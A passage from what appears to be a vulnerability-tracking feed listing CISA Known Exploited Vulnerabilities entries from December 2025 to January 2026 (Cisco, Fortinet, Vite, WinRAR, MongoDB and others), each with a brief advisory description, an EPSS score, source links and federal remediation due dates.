EPSS 70.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-21509&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-21509: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-21509&date=2026-10-25
CISA added this entry on 2026-01-26. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jan 26, 2026; federal due date Feb 16, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Broadcom VMware vCenter Server Out-of-bounds Write Vulnerability
https://kevwire.com/record/CVE-2024-37079
Broadcom VMware vCenter Server Out-of-bounds Write Vulnerability (Jan 23, 2026).
Broadcom VMware vCenter Server contains an out-of-bounds write vulnerability in the implementation of the DCERPC protocol. This could allow a malicious actor with network access to vCenter Server to send specially crafted network packets, potentially leading to remote code execution.
EPSS 22.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-37079&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-37079: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-37079&date=2026-10-25
CISA added this entry on 2026-01-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jan 23, 2026; federal due date Feb 13, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Synacor Zimbra Collaboration Suite (ZCS) PHP Remote File Inclusion Vulnerability
https://kevwire.com/record/CVE-2025-68645
Synacor Zimbra Collaboration Suite (ZCS) PHP Remote File Inclusion Vulnerability (Jan 22, 2026).
Synacor Zimbra Collaboration Suite (ZCS) contains a PHP remote file inclusion vulnerability that could allow for remote attackers to craft requests to the /h/rest endpoint to influence internal request dispatching, allowing inclusion of arbitrary files from the WebRoot directory.
EPSS 48.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-68645&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-68645: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-68645&date=2026-10-25
CISA added this entry on 2026-01-22. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jan 22, 2026; federal due date Feb 12, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Versa Concerto Improper Authentication Vulnerability
https://kevwire.com/record/CVE-2025-34026
Versa Concerto Improper Authentication Vulnerability (Jan 22, 2026).
Versa Concerto SD-WAN orchestration platform contains an improper authentication vulnerability in the Traefik reverse proxy configuration, allowing at attacker to access administrative endpoints. The internal Actuator endpoint can be leveraged for access to heap dumps and trace logs.
EPSS 81.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-34026&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-34026: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-34026&date=2026-10-25
CISA added this entry on 2026-01-22. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jan 22, 2026; federal due date Feb 12, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Vite Vitejs Improper Access Control Vulnerability
https://kevwire.com/record/CVE-2025-31125
Vite Vitejs Improper Access Control Vulnerability (Jan 22, 2026).
Vite Vitejs contains an improper access control vulnerability that exposes content of non-allowed files using ?inline&import or ?raw?import. Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.
EPSS 65.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-31125&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-31125: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-31125&date=2026-10-25
CISA added this entry on 2026-01-22. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jan 22, 2026; federal due date Feb 12, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Prettier eslint-config-prettier Embedded Malicious Code Vulnerability
https://kevwire.com/record/CVE-2025-54313
Prettier eslint-config-prettier Embedded Malicious Code Vulnerability (Jan 22, 2026).
Prettier eslint-config-prettier contains an embedded malicious code vulnerability. Installing an affected package executes an install.js file that launches the node-gyp.dll malware on Windows.
EPSS 5.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-54313&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-54313: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-54313&date=2026-10-25
CISA added this entry on 2026-01-22. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jan 22, 2026; federal due date Feb 12, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Cisco Unified Communications Products Code Injection Vulnerability
https://kevwire.com/record/CVE-2026-20045
Cisco Unified Communications Products Code Injection Vulnerability (Jan 21, 2026).
Cisco Unified Communications Manager (Unified CM), Cisco Unified Communications Manager Session Management Edition (Unified CM SME), Cisco Unified Communications Manager IM & Presence Service (Unified CM IM&P), Cisco Unity Connection, and Cisco Webex Calling Dedicated Instance contain a code injection vulnerability that could allow the attacker to obtain user-level access to the underlying operating system and then elevate privileges to root.
EPSS 4.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-20045&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-20045: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-20045&date=2026-10-25
CISA added this entry on 2026-01-21. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jan 21, 2026; federal due date Feb 11, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Information Disclosure Vulnerability
https://kevwire.com/record/CVE-2026-20805
Microsoft Windows Information Disclosure Vulnerability (Jan 13, 2026).
Microsoft Windows Desktop Windows Manager contains an information disclosure vulnerability that allows an authorized attacker to disclose information locally.
EPSS 7.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-20805&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-20805: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-20805&date=2026-10-25
CISA added this entry on 2026-01-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jan 13, 2026; federal due date Feb 3, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Gogs Path Traversal Vulnerability
https://kevwire.com/record/CVE-2025-8110
Gogs Path Traversal Vulnerability (Jan 12, 2026).
Gogs contains a path traversal vulnerability affecting improper Symbolic link handling in the PutContents API that could allow for code execution.
EPSS 85.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-8110&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-8110: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-8110&date=2026-10-25
CISA added this entry on 2026-01-12. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jan 12, 2026; federal due date Feb 2, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Office PowerPoint Code Injection Vulnerability
https://kevwire.com/record/CVE-2009-0556
Microsoft Office PowerPoint Code Injection Vulnerability (Jan 7, 2026).
Microsoft Office PowerPoint contains a code injection vulnerability that allows remote attackers to execute arbitrary code via a PowerPoint file with an OutlineTextRefAtom containing an invalid index value that triggers memory corruption.
EPSS 67.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2009-0556&date=2026-10-25).
Sources:
CISA KEV entry CVE-2009-0556: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2009-0556&date=2026-10-25
CISA added this entry on 2026-01-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jan 7, 2026; federal due date Jan 28, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Hewlett Packard Enterprise (HPE) OneView Code Injection Vulnerability
https://kevwire.com/record/CVE-2025-37164
Hewlett Packard Enterprise (HPE) OneView Code Injection Vulnerability (Jan 7, 2026).
Hewlett Packard Enterprise (HPE) OneView contains a code injection vulnerability that allows a remote unauthenticated user to perform remote code execution.
EPSS 90.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-37164&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-37164: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-37164&date=2026-10-25
CISA added this entry on 2026-01-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jan 7, 2026; federal due date Jan 28, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### MongoDB and MongoDB Server Improper Handling of Length Parameter Inconsistency Vulnerability
https://kevwire.com/record/CVE-2025-14847
MongoDB and MongoDB Server Improper Handling of Length Parameter Inconsistency Vulnerability (Dec 29, 2025).
MongoDB Server contains an improper handling of length parameter inconsistency vulnerability in Zlib compressed protocol headers. This vulnerability may allow a read of uninitialized heap memory by an unauthenticated client.
EPSS 83.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-14847&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-14847: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-14847&date=2026-10-25
CISA added this entry on 2025-12-29. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Dec 29, 2025; federal due date Jan 19, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Digiever DS-2105 Pro Missing Authorization Vulnerability
https://kevwire.com/record/CVE-2023-52163
Digiever DS-2105 Pro Missing Authorization Vulnerability (Dec 22, 2025).
Digiever DS-2105 Pro contains a missing authorization vulnerability which could allow for command injection via time_tzsetup.cgi.
EPSS 96.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-52163&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-52163: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-52163&date=2026-10-25
CISA added this entry on 2025-12-22. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Dec 22, 2025; federal due date Jan 12, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### WatchGuard Firebox Out of Bounds Write Vulnerability
https://kevwire.com/record/CVE-2025-14733
WatchGuard Firebox Out of Bounds Write Vulnerability (Dec 19, 2025).
WatchGuard Fireware OS iked process contains an out of bounds write vulnerability in the OS iked process. This vulnerability may allow a remote unauthenticated attacker to execute arbitrary code and affects both the mobile user VPN with IKEv2 and the branch office VPN using IKEv2 when configured with a dynamic gateway peer.
EPSS 29.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-14733&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-14733: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-14733&date=2026-10-25
CISA added this entry on 2025-12-19. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Dec 19, 2025; federal due date Dec 26, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### ASUS Live Update Embedded Malicious Code Vulnerability
https://kevwire.com/record/CVE-2025-59374
ASUS Live Update Embedded Malicious Code Vulnerability (Dec 17, 2025).
ASUS Live Update contains an embedded malicious code vulnerability client were distributed with unauthorized modifications introduced through a supply chain compromise. The modified builds could cause devices meeting specific targeting conditions to perform unintended actions. The impacted product could be end-of-life (EoL) and/or end-of-service (EoS). Users should discontinue product utilization.
EPSS 1.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-59374&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-59374: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-59374&date=2026-10-25
CISA added this entry on 2025-12-17. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Dec 17, 2025; federal due date Jan 7, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### SonicWall SMA1000 Missing Authorization Vulnerability
https://kevwire.com/record/CVE-2025-40602
SonicWall SMA1000 Missing Authorization Vulnerability (Dec 17, 2025).
SonicWall SMA1000 contains a missing authorization vulnerability that could allow for privilege escalation appliance management console (AMC) of affected devices.
EPSS 2.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-40602&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-40602: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-40602&date=2026-10-25
CISA added this entry on 2025-12-17. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Dec 17, 2025; federal due date Dec 24, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Cisco Multiple Products Improper Input Validation Vulnerability
https://kevwire.com/record/CVE-2025-20393
Cisco Multiple Products Improper Input Validation Vulnerability (Dec 17, 2025).
Cisco Secure Email Gateway, Secure Email, AsyncOS Software, and Web Manager appliances contains an improper input validation vulnerability that allows threat actors to execute arbitrary commands with root privileges on the underlying operating system of an affected appliance.
EPSS 32.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-20393&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-20393: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-20393&date=2026-10-25
CISA added this entry on 2025-12-17. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Dec 17, 2025; federal due date Dec 24, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Fortinet Multiple Products Improper Verification of Cryptographic Signature Vulnerability
https://kevwire.com/record/CVE-2025-59718
Fortinet Multiple Products Improper Verification of Cryptographic Signature Vulnerability (Dec 16, 2025).
Fortinet FortiOS, FortiSwitchMaster, FortiProxy, and FortiWeb contain an improper verification of cryptographic signature vulnerability that may allow an unauthenticated attacker to bypass the FortiCloud SSO login authentication via a crafted SAML message. Please be aware that CVE-2025-59719 pertains to the same problem and is mentioned in the same vendor advisory. Ensure to apply all patches mentioned in the advisory.
EPSS 68.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-59718&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-59718: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-59718&date=2026-10-25
CISA added this entry on 2025-12-16. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Dec 16, 2025; federal due date Dec 23, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Gladinet CentreStack and Triofox Hard Coded Cryptographic Vulnerability
https://kevwire.com/record/CVE-2025-14611
Gladinet CentreStack and Triofox Hard Coded Cryptographic Vulnerability (Dec 15, 2025).
Gladinet CentreStack and TrioFox contain a hardcoded cryptographic keys vulnerability for their implementation of the AES cryptoscheme. This vulnerability degrades security for public exposed endpoints that may make use of it and may offer arbitrary local file inclusion when provided a specially crafted request without authentication.
EPSS 53.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-14611&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-14611: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-14611&date=2026-10-25
CISA added this entry on 2025-12-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Dec 15, 2025; federal due date Jan 5, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apple Multiple Products Use-After-Free WebKit Vulnerability
https://kevwire.com/record/CVE-2025-43529
Apple Multiple Products Use-After-Free WebKit Vulnerability (Dec 15, 2025).
Apple iOS, iPadOS, macOS, and other Apple products contain a use-after-free vulnerability in WebKit. Processing maliciously crafted web content may lead to memory corruption. This vulnerability could impact HTML parsers that use WebKit, including but not limited to Apple Safari and non-Apple products which rely on WebKit for HTML processing.
EPSS 25.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-43529&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-43529: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-43529&date=2026-10-25
CISA added this entry on 2025-12-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Dec 15, 2025; federal due date Jan 5, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Sierra Wireless AirLink ALEOS Unrestricted Upload of File with Dangerous Type Vulnerability
https://kevwire.com/record/CVE-2018-4063
Sierra Wireless AirLink ALEOS Unrestricted Upload of File with Dangerous Type Vulnerability (Dec 12, 2025).
Sierra Wireless AirLink ALEOS contains an unrestricted upload of file with dangerous type vulnerability. A specially crafted HTTP request can upload a file, resulting in executable code being uploaded, and routable, to the webserver. An attacker can make an authenticated HTTP request to trigger this vulnerability. The impacted product could be end-of-life (EoL) and/or end-of-service (EoS). Users should discontinue product utilization.
EPSS 27.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-4063&date=2026-10-25).
Sources:
CISA KEV entry CVE-2018-4063: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-4063&date=2026-10-25
CISA added this entry on 2025-12-12. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Dec 12, 2025; federal due date Jan 2, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Google Chromium Out of Bounds Memory Access Vulnerability
https://kevwire.com/record/CVE-2025-14174
Google Chromium Out of Bounds Memory Access Vulnerability (Dec 12, 2025).
Google Chromium contains an out of bounds memory access vulnerability in ANGLE that could allow a remote attacker to perform out of bounds memory access via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.
EPSS 55.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-14174&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-14174: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-14174&date=2026-10-25
CISA added this entry on 2025-12-12. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Dec 12, 2025; federal due date Jan 2, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### OSGeo GeoServer Improper Restriction of XML External Entity Reference Vulnerability
https://kevwire.com/record/CVE-2025-58360
OSGeo GeoServer Improper Restriction of XML External Entity Reference Vulnerability (Dec 11, 2025).
OSGeo GeoServer contains an improper restriction of XML external entity reference vulnerability that occurs when the application accepts XML input through a specific endpoint /geoserver/wms operation GetMap and could allow an attacker to define external entities within the XML request.
EPSS 60.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-58360&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-58360: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-58360&date=2026-10-25
CISA added this entry on 2025-12-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Dec 11, 2025; federal due date Jan 1, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### RARLAB WinRAR Path Traversal Vulnerability
https://kevwire.com/record/CVE-2025-6218
RARLAB WinRAR Path Traversal Vulnerability (Dec 9, 2025).
RARLAB WinRAR contains a path traversal vulnerability allowing an attacker to execute code in the context of the current user.
EPSS 90.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-6218&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-6218: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-6218&date=2026-10-25
